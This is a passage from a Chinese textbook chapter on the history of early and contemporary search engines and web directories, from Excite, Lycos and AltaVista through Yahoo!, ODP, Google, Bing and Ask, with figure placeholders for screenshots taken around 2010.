    Excite是一个非常有代表性的搜索引擎,它是由美国斯坦福大学(Stanford Unviersity)6名本科生在1993年2月研发的一个项目Architext发展而来。最初这些学生认为可以通过对网页中的词语关系进行统计分析来提高查询的效果,因此他们在引入风险投资后就研发了Architext系统。到了1993年中期,他们发布了一个供网络管理员可以在自己网站上使用的查询软件版本,称之为“Excite for Web Servers”。到1999年,Excite被一个名叫@Home的宽带运营商以65亿美元收购,因此搜索引擎也改名为Excite@Home。从此,Excite@Home开始侧重于宽带市场,在搜索引擎方面也就没有更新的技术出现。好景不长,Excite@Home于2001年10月破产,2002年5月被InfoSpace公司以1000万美元收购。今天,Excite仍然还在运营,不过它已经改用Dogpile来提供元搜索引擎服务。Excite主页如图3. 6所示:

    clip_image016

    3. 6 Excite搜索引擎的主页界面(截取于2010-3)

    Excite搜索引擎有两点非常引人注目:一是在商业上,它最早提出“免费让人搜索,用广告收入来补贴”的搜索引擎盈利模式,这在当时是比较新的理念;二是在技术上,Excite一直以概念搜索闻名。所谓概念搜索,是指搜索引擎可以理解用户查询词语的语义含义,并进行自动语义扩检[2]来推荐更多的查询内容。当然,受限于技术发展,这种概念检索的功能并非十分强大。图3. 7展示了在Excite中查询“apple”的界面,在窗口的右边显示了一组扩展的查询词语,如“Apple Store(苹果用品商店)”,甚至还有“Banana”等水果类词语。

    clip_image018

    3. 7 Excite所提供的概念检索(截取于2010-3)

    3)WebCrawler

    WebCrawler是美国华盛顿大学(University of Washington)计算机科学系的学生布赖恩·平克顿(Brian Pinkerton)于1994年4月20日创建,虽然它最早只是从一个非正式学术研讨会上的小型项目发展而来,所以最初亮相时只包含来自6000个服务器的网页内容,但它却是世界上第一个可以对遍历网页的全部文字内容进行索引的搜索引擎。在此之前,搜索引擎只能提供网页URL和网页摘要来供用户查看查询结果,其中网页摘要一般来自人工评论或者是由程序自动抽取网页正文的前若干个词语来组成,效果可想而知。所以如此强大的全文索引能力引发了巨大的访问流量,据称当时的华盛顿大学校园网络几乎因此崩溃。

    1995年,美国在线收购了WebCrawler。1997年,Excite又把WebCrawler买走,此时的美国在线就开始使用Excite作为它自己搜索项目NetFind的技术提供商。随着Excite的风光不再,今天的WebCrawler已改用Dogpile来提供元搜索引擎服务。网址为:http://www.webcrawler.com,主页如图3. 8所示:

    clip_image020

    3. 8 WebCrawler搜索引擎的主页界面(截取于2010-3)

    4)Lycos

    Lycos的名字起得非常好,它来自于拉丁文单词“Lycosidae(狼蛛)”,狼蛛和一般蜘蛛最大的区别就是不结网,而是直接追随猎物捕食。这个形象有力的名称确实表达了Lycos遍历网页的强大能力,事实上,它也是搜索引擎历史上的代表作之一。它由美国卡耐基梅隆大学(Carnegie Mellon University)的博士生迈克尔·墨登(Michale Mauldin)于1994年7月在匹兹堡创建,和其他美国搜索引擎不太一样的地方在于,它是早期唯一诞生于美国东部的搜索引擎,而其它的搜索引擎则都在西部的硅谷创建。

    从技术上看,Lycos能够提供网页结果排序、查询词语的前缀匹配、邻近位置词语查询和自动网页摘要等一系列功能。在1994年10月,用户通过当时最为流行的航海者浏览器查询“surf”[3]相关结果时,Lycos是排名第一的搜索引擎结果。当然,它的最大特点仍不是这些。正如Lycos名字暗示的那样,Lycos遍历网页的能力非常强,这才是它的最大特点,而这一点在Internet刚开始发展的年代时无疑非常吸引人。据报道,1994年7月20日,Lycos就可以遍历54000篇网页,到了1994年8月则达到39.4万篇,1995年1月达到150万篇,1996年11月更达到6千万篇网页,超过了当时任何一款搜索引擎所能收集的网页量。

    但是,客观的讲,Lycos的搜索引擎技术并不是最好。不过,Lycos在商业上也做的不错,如很早就开始投资做社区网站,网络广告也经营的不错,这些成功掩饰了Lycos技术的不足。Lycos后来似乎意识到了这一点,它收购了一家广受好评的搜索引擎Hotbot,而Hotbot后台使用的是Inktomi搜索引擎的技术,Lycos希望通过此次收购来提升自己的技术水平。但是,这也使得Lycos一直需要维持着两个搜索引擎的技术平台。可能是Inktomi的技术确实比较先进,直到最后它全面改用Inktomi的搜索技术。不过,由于受到Yahoo!和Google的竞争,Lycos逐渐衰落,最终在1999年4月停止了服务,改由Fast搜索引擎来提供服务。网址为:http://www.lycos.com,主页如图3. 9所示:

    clip_image022

    3. 9 Lycos搜索引擎的主页界面(截取于2010-3)

    5)Infoseek

    Infoseek也诞生在那个奇妙的1994年。Infoseek的起点比较高,因为它所使用的搜索技术来自于美国马萨诸塞大学(University of Massachusetts),而在全美高校中,马萨诸塞大学的信息检索技术可以名数一流。但是设计完成之后,设计师还是发现无法适应如此多的Internet网页处理要求,因此聘请一位名叫威廉·张(William I. Chang)的中国台湾设计师进行了改进,改进后的技术平台被称为Ultraseek。该平台较前者而言,不仅在处理速度上,而且在查询结果的相关度方面,都比较优秀。事实上,后来的Infoseek也确实因为相关度算法好而闻名。同时,它还允许网站管理者提交自己的网页来进行实时索引,该项功能非常吸引人,不过,Infoseek也同时成了搜索造假者[4](Search Spammer)的天堂,很多网站管理者利用此项功能来恶意提升自己网站的搜索结果排名和被搜索的次数。

    不过,这些技术创新并没有真正的带来巨大进步。但是,Infoseek不断增强用户界面的友好性,同时提供大量附加服务以吸引用户使用。最为重要的是,1995年12月,Infoseek连说服带花钱,让网景(Netscape)公司不再使用Yahoo!作为默认的搜索服务提供商,也就是说,当用户点击航海者浏览器的搜索按钮时,默认弹出Infoseek的搜索引擎。但是,随着1999年被迪斯尼(Disney)公司收购,Infoseek最终沦落为Go.com网站做娱乐方面的索引和搜索服务,从此在技术的革新越来越少。在2001年2月,Infoseek终于停止了自己的搜索引擎,改用Overture的搜索服务。有趣的是,百度创始人李彦宏也曾经在Infoseek从事过技术工作,但于1999年回国创立了百度。更为有趣的是,那个当时改进Infoseek 的工程师William I. Chang后来认识了李彦宏,并于2006年12月6日加盟百度,成为百度首席科学家。Infoseek的网址为:http://go.com,主页如图3. 10所示:

    clip_image024

    3. 10 Infoseek搜索引擎的主页界面(截取于2010-3)

    6)AltaVista

    可以毫不夸张的说,凭借大量的创新功能,AltaVista就是早期搜索引擎中的“Google”,它不论是在软件功能上还是硬件条件上都达到了那个时代的顶峰,在很多方面对现代搜索引擎都产生了深刻的影响。

    AltaVista是由美国数字设备公司(Digital Equipment Corporation,DEC)研发,于1995年12月面世。从硬件条件来看,DEC公司本身就是生产计算机设备的公司,凭借DEC强大的Alpha芯片运算能力,AltaVista可以运行在当时最为先进的计算机上,因此运行速度非常快。从软件功能上看,AltaVista搜索引擎的功能也非常多,如AltaVista第一个允许用户使用句子来进行自然语言查询,第一个支持和实现布尔查询,能对不同格式的文档、多媒体信息甚至多国语言的网页进行查询。同时,AltaVista还是第一个允许用户自主增删网页索引信息的搜索引擎,更新的信息最快可以在24小时内上线。另外,AltaVista还能查询有链接指向某个特定网页的所有其他网页,该功能称为链入检查(Inbound Link Check),这个功能有助于网站管理者了解自己站点受人关注的程度,显然,这种被其他网页建立的链接越多,自己网页的受欢迎程度相对也就越高。在界面上,AltaVista还提供了大量的易用帮助提示信息以方便用户使用。

    1997年,AltaVista发布了一个图形演示系统LiveTopics,它采用一个图形化的界面来整理搜索引擎的返回结果,从而方便用户找到所需内容,界面如图3. 11所示:

    clip_image026

    3. 11 LiveTopics系统的界面

    这些技术都令人刮目相看。然而,由于管理混乱和竞争者的不断增多,AltaVista逐渐在进入21世纪以后走了下坡路。2003年2月18日,Overture收购了AltaVista,随后Yahoo!又收购了Overture,AltaVista因此成为了Yahoo!搜索系统的实验平台,也为Yahoo!推出自己的搜索引擎打下了必要的技术基础。AltaVista的网址为:http://www.altavista.com,主页如图3. 12所示:

    clip_image028

    3. 12 AltaVista搜索引擎的主页界面(截取于2010-3)

    7)Inktomi

    Inktomi的正确念法是“Ink-to-me”,它来自于美洲印第安人传说中的一个蜘蛛魔法师,据说给人类带给了文化和知识。Inktomi是由美国加州伯克利分校(University of California Berkeley)计算机教授埃里克·布鲁尔(Eric Brewer)和他的博士生保罗·高瑟(Paul Gauthier)于1996年1月创建。他们是研究并行处理的专家,也希望以Inktomi来证明他们所提出的并行算法是有效的。但是,此时的Internet搜索引擎已经群雄并起,要想和它们正面交锋,难度很大。所以,Inktomi创建者决定只做技术提供商,并在1996年5月20日开始为Hotbot提供服务。事实证明,Hotbot很受欢迎,它声称每天能遍历1千万篇以上的网页,同时还大量运用cookie来储存用户的设置信息以提供个性化的查询服务。在商业运行模式上,Inktomi还提出了很多直到今天依然还在沿用的概念,如“Search Submit(付费提交)”、“Index Connect(付费索引)”、“Web Portal Solution(Web门户解决方案)”和“Enterprise Search(企业搜索)”等。到了1999年,Inktomi 达到了鼎盛,成为了诸如Yahoo!和微软MSN搜索引擎在内近一百多个大网站的搜索后台技术提供商。

    随后,Hotbot被Lycos收购,Yahoo!也转用Google作为搜索技术提供商,这对Inktomi是个巨大打击,不断流失的客户和影响力开始使得Inktomi走向了下坡路。Inktomi于2002年12月23日还是被当年抛弃它的Yahoo!以低价收购。在此之前,Yahoo!一直在使用Altavista作为后台技术提供商。Inktomi网址为:http://www.inktomi.com,主页如图3. 13所示:

    clip_image030

    3. 13 Inktomi搜索引擎的主页界面(截取于2007-9)

    Inktomi的最终失败从一个方面反映了搜索引擎厂商必须要正视的问题,那就是究竟应该直接面对用户树立品牌还是甘当无名幕后英雄。事实证明,要想取得市场的成功,搜索引擎必须及时转型,尽快走到台前。后来的Google和百度则采取了正确的转型路线,成为了现代搜索引擎的巨头之一。

    1.1.1.3 基于分类目录的搜索引擎

    前文所述的搜索引擎多是采用爬虫方式来获取网页信息,同时在查询界面上多是采用输入查询词语的方式来直接获取网页结果,通常我们称这种方式叫全文查询(Full-text Search),因为网页只要在任何位置上含有用户的查询词语就可以被命中。与此相对的,还有另外一种有效的查询界面设计方法,那就是Web目录(Web directory),也称为“分类目录”或者“网页目录”。它采用层次性的目录组织体系,将所收集的网页分门别类的归入不同的子目录中,用户按照目录提示可以逐层定位找到自己所需的内容。采取此类方法实现的搜索引擎和信息查询站点也有很多。

    1)Virtual Library

    发明WWW访问方式的蒂姆·伯纳斯·李(Tim Berners Lee)就于1991年利用WWW方式组织过一个Web目录站点,称为虚拟图书馆(Virtual Library),于是它被看成是世界上最早的Web目录站点。不像一般的商业站点,这个站点是由一群志愿者维护的,志愿者分别根据自己所了解的学科知识领域给出相应目录下的推荐网页结果,所以体系不大,但是收录的网页质量却较高。网址为:http://vlib.org.uk,主页如图3. 14所示:

    clip_image032

    3. 14 蒂姆•伯纳斯•李创立的虚拟图书馆(Virtual Library)(截取于2010-3)

    2)Galaxy

    1994年1月,Galaxy在美国得克萨斯大学(University of Texas)创建,最早的名称是EINet Galaxy。在创建之初,Galaxy主要面向电子商务的大型目录指南服务。1995年4月,Galaxy由一个研究项目转变为一个商业项目,1997年被网络安全公司CyberGuard收购,1998年9月,CyberGuard又把Galaxy买给美国健康网(AHN.com),1999年5月Fox/News公司介入Galaxy。直到2000年5月,几经变故的Galaxy终于成为一个独立的站点,由TradeWave公司负责。

    Galaxy是一个著名的Web目录搜索引擎,这个目录体系首先按照主题分类,各主题目录再依字母顺序排列,大主题下分有小主题,因此是个较为综合全面的Web目录体系。同时,在内容上包含了较多的学术性和专业性知识,内容非常丰富。令人注意的是,Galaxy除了可以提供Web网页查询功能外,还能提供当时还在流行的Telnet和Gopher环境下的信息查询功能。其实在1994年,当时Internet上的Web网络还很小,小到似乎没有必要去建立Web目录,而事实上,Galaxy创建的一个主要原因也就是提供一种Gopher信息的查询功能,而Gopher采用的层次型菜单结构非常需要同时也非常适应Galaxy所提供的目录体系。它的网址为:http://www.galaxy.com,主页如图3. 15所示:

    clip_image034

    3. 15 Galaxy搜索引擎的主页界面(截取于2010-3)

    3)Yahoo!(雅虎)

    Yahoo!和Google、Bing[5]已经成为当代全球三大著名搜索引擎。事实上,它也是这三者当中资格最老的一个。

    90年代初,美国斯坦福大学(Stanford Unviersity)电机研究所攻读电机工程博士学位的美籍华人杨致远(Jerry Yang)和大卫·费罗(David Filo)和其他学生一样,开始喜欢上刚出现的Internet。不过,他们却有一个特殊的爱好,那就是他们经常将自己收集到的一些较好的网页内容链接在自己的个人网页上。渐渐的,他们自己的网页在斯坦福大学内部开始小有名气,人们称呼他们的网页为“杰里和大卫的万维网向导(Jerry&David's Guide to the World Wide Web)”。根据这些已有的经验和前期的基础,杨致远和大卫·费罗于1994年4月使用学校的工作站创建了一个网页目录查询系统,称之为Yahoo!。刚开始,这个网页目录就已经收集了超过1000不同站点的网页信息。较基于爬虫的早期搜索引擎而言, Yahoo!所收集的网页内容能够含有人工编撰的说明信息,可以极大方便用户的使用,而基于爬虫的搜索引擎只能通过采集网页URL和标题之类的简单内容来作为网页内容的提示信息,显然不论是在网页体系的组织上,还是在网页内容的说明上,都难以做到和Yahoo!同样的效果。

    关于Yahoo!这个名称的来历也是众说纷纭,很多人认为它是“另一个层次性的民间先知(Yet Another Hierarchical Officious Oracle)”的缩写词,这可能借鉴于UNIX系统中一个表示网络查询技术的缩略语YACC(Yet another compiler compiler,另一个编译器代码生成器)。但是,根据杨致远等人的说法,Yahoo的“Ya”来自于杨致远的姓,他们曾利用韦氏词典设想过Yauld、Yammer和Yardage等一系列可能的名字。之所以选中Yahoo,是因为在《格利佛游记》中Yahoo是一种粗俗和不懂世故的人形动物,它具有人的种种恶习,他们反其义而用之,认为在强调平等权利的互联网上大家都是乡巴佬,为了增加褒义色彩,又后面加上一个感叹号,于是就有了Yahoo!。

    事实上,Yahoo!的成功离不开它的幸运。当时有一家著名Web浏览器公司网景(Netscape)生产一种称为航海者(Navigator)的Web浏览器软件,该软件非常流行,人们都在使用它去访问Web网络。为了增强网络信息查询的快捷性,该浏览器的创始人马克·安德森(Marc Andreessen)看中了Yahoo!,并且在1995年1月,他把航海者浏览器上一个最为重要的网络查询按钮默认指向了Yahoo!目录。可以说,借助航海者浏览器的平台,Yahoo!很快在Internet上树立了名声。1995年4月,Yahoo!还吸收到了曾经给Apple、Oracle和Cisco投资过的Sequoia公司接近200万美元的投资。此时,Yahoo!已经成为Internet上的一个重要的门户站点。

    然而,通过人工组织方式获取的Web目录结构不可能适应网络快速增长的发展要求,因此,Yahoo!先后使用了诸如Altavista和Inktomi等搜索引擎来为自己提供基于关键词的全文检索服务。2002年10月9日,Yahoo开始不再使用Web目录作为主要搜索工具,而是使用另外一家后起之秀Google来为自己提供关键词查询服务,并成为真正的全文搜索引擎。正如当年Yahoo!借助航海者成功一样,Google最终也借助Yahoo!成名,并敢于和Yahoo!抗衡。此时的Yahoo!只能通过收购的方式来获得较快的发展,2002年12月23日收购inktomi搜索引擎,2003年7月14日收购包括Fast和Altavista在内的Overture公司。直到2004年,雅虎中国在中国内地终于推出了自己独立研发的搜索引擎“一搜”。2004,雅虎中国推出独立的搜索门户网站一搜网,“一搜天下小”的广告语让人侧目。今天已经改名为雅虎全能搜,网址为:http://www.yahoo.cn,主页如图3. 16所示:

    clip_image037

    3. 16 雅虎全能搜的主页界面(截取于2010-3)

    不过,Yahoo!的Web目录仍然还是一个重要的网络信息查询工具,它的设计结构经过不断的调整,已经非常成熟和易于使用。Yahoo!的Web目录网址为:http://dir.yahoo.com,网页如图3. 17所示:

    clip_image039

    3. 17 Yahoo!的Web目录主页界面(截取于2010-3)

    当然,这个Web目录也渐渐的融入了更多的特点。尤其是随着名声的增大,Yahoo!早已开始对收录的商业站点收费,2007年的收录报价是每年299美元。但是,对于那些真正著名的站点而言,Yahoo!还是采用免费收录的方法。

    4)ODP(开放目录)

    ODP是Open Directory Project(开放目录项目)的简称,是由瑞奇·斯克伦塔(Rich Skrenta)于1998年和合伙人一起创办的。这个目录体系结构不仅可以提供一种Web网页目录的查询方法,而且这个目录体系的内容还是由全球各地的志愿者集体编撰而成,至今已经成为全球最大的Web目录,因此那些本来需要等待被Yahoo!目录收录的网站现在终于找到了新的地方。更为重要的是,人们还可以免费的下载整个目录体系,以供自己的科学研究。1998年11月,网景(Netscape)公司收购了ODP。随着网景公司自己在同年同月被美国在线(AOL)以45亿美元收购,ODP后来归入了AOL的名下。ODP的网址为:http://www.dmoz.org,主页如图3. 18所示:

    clip_image041

    3. 18 ODP的Web目录主页界面(截取于2010-3)

    5)专业的Web目录站点

    如果读者细心,你就会发现上述这些Web网页目录的结构有时科学性并不强,如图3. 19显示了部分雅虎中文分类目录的内容:

    clip_image043

    3. 19 部分雅虎中文Web目录的截图(截取于2010-3)

    显然,“音乐”属于“艺术”,无论如何将两者并列作为同一个目录下的子内容项并不合适,更不必说“军事”是否应该放入“休闲娱乐”目录下了。

    但是我们要注意,这些Web目录并不在意科学性,相反,它们更加在意易用性。一般的Web用户可能并不十分了解目录的层次结构,他们往往希望能够在最短的时间内找到自己所要的目录项,所以雅虎中文所设计的这些目录往往是集中了最为流行常见的目录项,并且以一种极为方便和直观的方式来展示目录结构。

    然而,对于那些诸如图书馆员等从事专门信息资源管理的专家而言,他们可能并不满意这样的结构,为此还有一些更为专业的搜索引擎Web目录。

    克伦·施耐德(Karen G. Schneider)创办的“图书馆员Internet索引(Librarians' Internet Index,LII)”就是一个专门面向图书馆员的专业Web目录站点,该目录的结构具有较为完善的组织,科学性强,质量较高。一般而言,那些具有收费收录(Paid Inclusion)服务的Web目录,通常都不具备这些特点。LII的网址为:http://lii.org,主页如图3. 20所示:

    clip_image045

    3. 20 LII的Web目录主页界面(截取于2009-4)

    后来,LII与另外一家著名的专业Web目录“Internet公共图书馆(Internet Public Library)”合并组建了ipl2,网址为:http://www.ipl.org。

    再如Google搜索引擎也经常充分利用图书馆员的反馈信息。它提供了“Google图书馆员报道(Google librarian newsletter)”的消息服务,经常收集世界各地图书馆员的意见和问题,以此来改进Google的搜索功能,并且定期向他们提供Google服务的相关原理和改进说明,相关内容的介绍网址为:http://www.google.com/librariancenter/newsletter/0512.html,如图3. 21所示:

    clip_image047

    3. 21 Google图书馆员报道的官方介绍(截取于2010-3)

    6)主题Web目录

    上述这些综合Web目录还有很多。不过我们也要能够看到它们存在的问题,原因很简单,如果目录小,价值不大,难以吸引用户使用,如果目录大,相关的人工整理成本太高,维护困难。所以,和综合Web目录不同,主题Web目录采取了不同的设计策略,它只面向诸如商业和经济等特定领域,从而取得了目录规模和运转成本之间的一个平衡。通常人们把这些主题Web目录也称为垂直Web目录(Vertical Web Directory)、面向局部的Web目录(Locally Oriented Directory)。

    如Business.com就是一个专门面向商业领域的主题Web目录,它的商业目录结构比较有特色,涵盖了商业和经济领域的相关重要内容。网址为:http://www.business.com,主页如图3. 22所示:

    clip_image049

    3. 22 Business.com的Web目录主页界面(截取于2010-3)

    1995年成立的Looksmart也是一家Web目录站点,早期曾经通过增加网页收录数量和规模来和Yahoo!目录竞争。显然,这一招并不十分成功,2002年Looksmart 发明的一种新型的盈利模式为它的快速增长提供了基础。在此之前,几乎所有的Web目录站点都是采取较为固定的付费收录策略,如每月只需付多少钱可以收录到哪个目录中等等。然而,Looksmart采取了按点击付费(Pay Per Click)的收费方法[6],也就是说,用户点击该收录网页次数越多,相应的收录费用也就越高,这对被收录网页而言,显然是一种很好的激励措施,愿意为较高的点击率而支付更多的费用。

    在内容上,Looksmart不仅在自己的目录结构中收录网页索引,而且还根据主题分门别类的收录不少很有价值的内容资源,应该是个很不错的主题Web目录。然而,这些收录的内容相关性却因为各种原因而逐渐变差,后来在很大程度上又损害了Looksmart的声誉。

    然而在商业上发生了一连串的失败,给Looksmart带来了越来越多的不利影响。1998年,Looksmart以2000千万美元收购一家非盈利的Web目录站点Zeal来扩展自己的目录规模,但是到了2006年3月28日,Looksmart却关闭了这个Zeal目录。2002年3月,Looksmart还试图通过收购WiseNut搜索引擎来获得发展,结果也不理想。不过,最大的问题还不止这些。Looksmart曾经通过加盟诸如MSN等门户站点,通过付费收录方式来获利。然而,Looksmart一直以来建立的良好信誉却随着这个合作而逐渐变差,而且Looksmart在商业上也逐渐越来越依赖于微软的MSN搜索引擎。到了2003年,微软宣布抛弃与Looksmart的合作,对Looksmart来说,这无疑是个致命的打击。后来,Looksmart开始改用一个称为Furl的社会化书签(Social Bookmarking)管理站点来期望获得新的访问流量增长,现在它主要为广告商提供按点击付费的搜索网络平台服务。它的网址为:http://www.looksmart.com,主页如图3. 23所示:

    clip_image051

    3. 23 Looksmart的主页界面(截取于2010-3)

    综上所述,Web目录确实具有不少优点,所以在搜索引擎领域中一直都是一个不可或缺的角色。连Google都利用ODP目录推出了自己的Web目录站点,网址为:http://dir.google.com,主页如图3. 24所示:

    clip_image053

    3. 24 Google的Web网页目录主页界面(截取于2010-3)

    然而,我们必须要看到这种方式并非现代搜索引擎的主流。由于Web网页目录需要大量的人工编撰工作,所以维护成本很高,缩放性很差。而且网页目录规模通常都不大,相对于关键词查询而言,我们可以认为虽然关键词查询可能查准率不高,但具有更高的查全率,而网页目录查询则具有更高的查准率,查全率则较低。

    而且这种目录结构还存在一个不太引人注意的缺点,那就是它要求用户首先了解网页目录结构,否则用户将很难使用。举个例子,用户想查询“蓝牙”的相关网页,如果他根本不知道这是一种无线通讯技术的话,那他就根本找不到目录的入口,即便用户知道这是无线技术,恐怕也很难在较短的时间快速定位到所要的子目录,究竟“无线通讯技术”在“数据通讯”目录下呢还是在“硬件”目录下呢?而且,更为麻烦的是,如果用户认为它应该在“数据通讯”目录下,而目录编撰者却把“蓝牙”归入“硬件”目录中,也就是说,良好的目录使用效果需要用户和编撰者对目录结构具有一致的思路和理解,事实上这很难办到,因此就会导致用户难以理解,甚至用户会认为在这个目录中根本找不到自己所需的内容。所以,现在比较流行的Web目录往往采取主题化策略,如只针对新型站点资源进行收集和整理,另外博客目录(Blog Directory)、社会化书签目录等等也往往具有不错的应用效果。

    1.1.1.4 当代著名搜索引擎

    从2000年左右起,一批新型搜索引擎企业逐渐出现,其中很大一部分搜索引擎至今还在提供服务,并且成为了主导当代Internet搜索引擎市场的重要力量。它们不论是在技术实力上,还是在商业运营模式上,都比它们的前辈们取得了更多的成功和突破。从技术上看,虽然基于爬虫或者Web目录的传统搜索引擎技术仍然还在发挥作用,但是各大新型搜索引擎所使用的核心技术已经完全跳出了传统的框架,纷纷提出自己的新技术和新方法,以期在功能和效果赶超过去的元老。从商业运营模式上看,搜索引擎已经成为现代门户网站中最为常见的免费服务之一,而且也是各大网站吸引用户访问的主要功能靓点。搜索引擎也从诸如竞价排名等传统服务开始转型,推出一些新型的盈利模式,如Google所推出的AdSense 可以提供与网站的内容相匹配的广告,而网站可以在访问者点击这些广告时获得收益,而Google的AdWords则规定仅当有用户点击网站在Google联网中的广告时,网站才需支付相应费用。这些形式具有极大的创意,也改变了人们对搜索引擎的使用习惯和认识。

    1)Google

    Google已经成为现代Internet上最大的搜索引擎之一,而且在业务上已经开始超越搜索引擎本身,开始向移动开发、应用软件和操作系统等方向前进,成为可以和微软等大公司抗衡的重要力量。不过,这个搜索引擎在1998年10月之前,仅仅只是个美国斯坦福大学(Stanford Unviersity)的一个小型学生项目。1995年,斯坦福大学计算机系博士生拉里·佩奇(Larry Page)和塞吉·布林(Sergey Brin)开始尝试设计一个名称为BackRub的项目。严格说来,BackRub只是一个可以统计分析网页词语信息的爬虫程序。不过,佩奇和布林都认为这个项目可以做下去,他们于1997年9月15日注册了google.com的域名。Google这个名称据说来自于“googol”[7]单词,意思是10的100次方,这个巨大的数象征着Google能够处理海量的Internet网页信息。1999年2月,Google完成了从Alpha版到Beta版的升级[8]。通常,Google公司把1998年9月27日认作是自己的生日,每年这个时候,Google搜索引擎的主页Logo都会变成一个祝贺生日的模样。

    Google和前期的搜索引擎相比,采取了一系列新技术,如用于网页排序的Pagerank算法等,其实正是这个基于网页链接分析的算法才使得Google具有了和以前搜索引擎完全不一样的使用效果。另外,通过十几年的发展,它还是开发了一大批让人耳目一新的服务,如近几年所广泛使用的地图搜索和移动搜索等。不过,正如所有成功的搜索引擎一样,Google的成功也离不开商业上的努力。在2000年之前,Google的发展和推广一直都不是很快。直到2000年开始为Yahoo!提供后台搜索技术支持之后,Google才凭借Yahoo!快速发展起来,正如当年网景提携了Yahoo!一样。在2002年到2003年间,Google连续两年被评为互联网世界第一品牌。从这以后,Google的发展就进入了快速增长期。

    不过,中国一直是Google未能始终取得辉煌的市场。事实上,Google直到2004年才进入中国内地。一个明显的事实就是直到2005年4月29日Google才花费巨资赎回了google.com.cn和google.cn的域名。这桩交易也是国内有史以来跨国公司第一次以高价赎回与其品牌密切相关的域名,据估计,为了这19个字母,Google支付的费用应在百万元之上,平均每个字母价值超过5万元[9]。在此之前,google.com.cn域名的拥有者却是一个“创可贴”论坛,如图3. 25所示:

    clip_image055

    3. 25 google.com.cn域名的前拥有者“创可贴”主页界面(截取于2004-9)[10]

    这种情况并非少见。直到2010年4月,还有人收藏着百度的美国域名站点,http://www.baidu.us,期待着类似于Google故事的财富奇迹。这事实上也是一种一直以来始终存在的Internet域名收藏服务,

    2006年4月Google首席执行官埃里克·施密特来到中国,将Google中文命名为“谷歌”,并开设了一个号称最短的域名“www.g.cn”。而遗憾的是到了2010年3月Google终于宣布退出中国内地市场,但是Google搜索引擎的强大搜索能力确实为中国的其他搜索引擎提供了一个良好的学习范本。Google的网址为:http://www.google.com,主页如图3. 26所示:

    clip_image058

    3. 26 Google搜索引擎的主页界面(截取于2010-4)

    2)微软搜索引擎

    读者可以会很奇怪为什么这个标题没有具体的搜索引擎名称?事实上,微软一直都有自己的搜索引擎,而且还不止一个搜索引擎,不过这些搜索引擎一直在换。这充分反映了一个问题,那就是微软想在搜索引擎领域中有所作为,然而始终没有找到合适的突破口。不过,即便如此,也毫不妨碍微软搜索引擎一直成为世界排名前三的著名搜索引擎之一。

    微软较早的一款著名搜索引擎是于2004年7月推出的MSN Search,可能在中国各大搜索引擎纷纷推出新版本时,微软太过于仓促,使得这款搜索引擎在刚推出时甚至都没有简体中文版本,而只有繁体中文版本,网址为:http://search.msn.com,主页如图3. 27所示:

    clip_image060

    3. 27 MSN Search搜索引擎的主页界面(截取于2004-9)

    到了2006年9月,微软改用了Windows Live Search搜索引擎,网址为:http://www.live.com,主页如图3. 28所示:

    clip_image062

    3. 28 Windows Live Search搜索引擎的主页界面(截取于2009-3)

    不论是哪一款,当时的市场反应始终平平。为此微软先后又推出若干个昙花一现的搜索引擎版本,如“杜威女士(Ms. Dewey)”就是一款号称交互式搜索引擎的奇妙作品,它基于Windows Live Search搜索引擎的技术基础,但是在界面上使用Flash动画创造了一个虚拟女性助手,背景是一个现代城市街景。这个助手制作代价不菲,据说花了3天时间聘请明星雅尼娜·加万卡(Janina Gavankar)真人录像得到600多个视频片段,并随机使用以使得动画人物可以产生丰富多变的姿势和表情,她甚至可以在用户没有任何输入的闲暇时刻中拿出道具来玩耍。最为重要的是,她可以使用交互式的声音提醒并告知用户查询的内容和结果[11]。网址为:http://msdewey.com,主页如图3. 29所示:

    clip_image064

    3. 29 Ms. Dewey搜索引擎的主页界面(截取于2009-3)

    后来,微软还采用诸如通过查询关键词来猜字谜并赢取奖励的方法来吸引用户使用,最为夸张的是,在2008年11月,用户还可以通过微软搜索引擎购买惠普电脑并获得40%的现金返还。然而,这些方法似乎都没有效果。到了2007年3月,微软在Internet搜索引擎市场的占有率已经跌至两年前的水平。不得已,微软使出了最后的看家本领,在2008年1月准备以45亿美元收购Yahoo!,希望两家合并一起和Google竞争,此时的Google已经占据了全球8成多的搜索引擎市场份额。不过,收购最终以失败告终。

    造成这种局面的原因有时很复杂,甚至都不一定是技术问题。如微软在线用户商业集团高级副总裁尤瑟夫·迈瑟迪(Yusuf Mehdi)曾经表示,微软搜索服务不受欢迎的部分原因在于品牌不如Google。他进一步举例到,微软曾做过用户测试,在不知道用户搜索引擎使用偏好的情况下,把微软搜索引擎的查询结果加上Google的Logo呈现在用户面前,参测用户无一例外地认为,这是最好的查询结果。事实上,现代搜索引擎技术已有较大的发展,用户并不容易区别这些不同搜索引擎技术的不同之处。

    2009年初,微软开始了一个名叫Kumo的搜索引擎实验项目,并准备以此来替代Live Search。Kumo在日语中为“云”和“蜘蛛”的意思。主页如图3. 30所示:

    clip_image067

    3. 30 Kumo实验搜索引擎的主页界面(截取于2009-6)

    这个名称是不是隐含着在云计算年代中的搜索含义我们不得而知,但是我们知道,Kumo压根就没有正式发布。也许Kumo只是过渡产品,最终微软于2009年5月发布了一个成熟的搜索引擎产品Bing,这个象铃声的单词据说来自于一名德国百岁老人的姓氏,中文名称为“必应”,应该为有求必应之义。网址为:http://cn.bing.com,主页如图3. 31所示:

    clip_image069

    3. 31 Bing搜索引擎的主页界面(截取于2009-6)

    3)Ask

    其实,较Google和Bing而言,Ask搜索引擎并不算是非常著名,但是它的制作创意非常出色。它号称为“自然语言搜索引擎(Natural Language Search Engine)”。也就是说,它允许用户使用类似于口语中常见的问话句子来进行查询,因此易用性很强。

    创建于1997年4月的Ask搜索引擎当时的名称是Ask Jeeves,意思是有问题可以询问男仆,名称很形象,问男仆难道不使用正常的句子吗?因此早期的主页上常常有个面带微笑的英国男仆。不过,要想提供这种自然语句的查询,技术难度很大,因此早期Ask搜索引擎使用人工编撰的方法来提供一些常见句子的匹配结果。后来Ask使用DirectHit搜索引擎来提供信息查询服务,此时的网页查询结果采用流行度作为主要排序指标。2001年,Ask改用Teoma来提供查询服务,Teoma最大的特点在于采用网页结果聚类方法来组织主题,以方便用户快速得到所需内容。2006年,Ask正式从Ask Jeeves更名过来。网址为:http://www.ask.com,主页如图3. 32所示:

    clip_image071 clip_image073

    3. 32 Ask搜索引擎的主页界面(前者截取于2007-9,后者截取于2010-4)[12]

    1.1.2 中国搜索引擎的发展历史

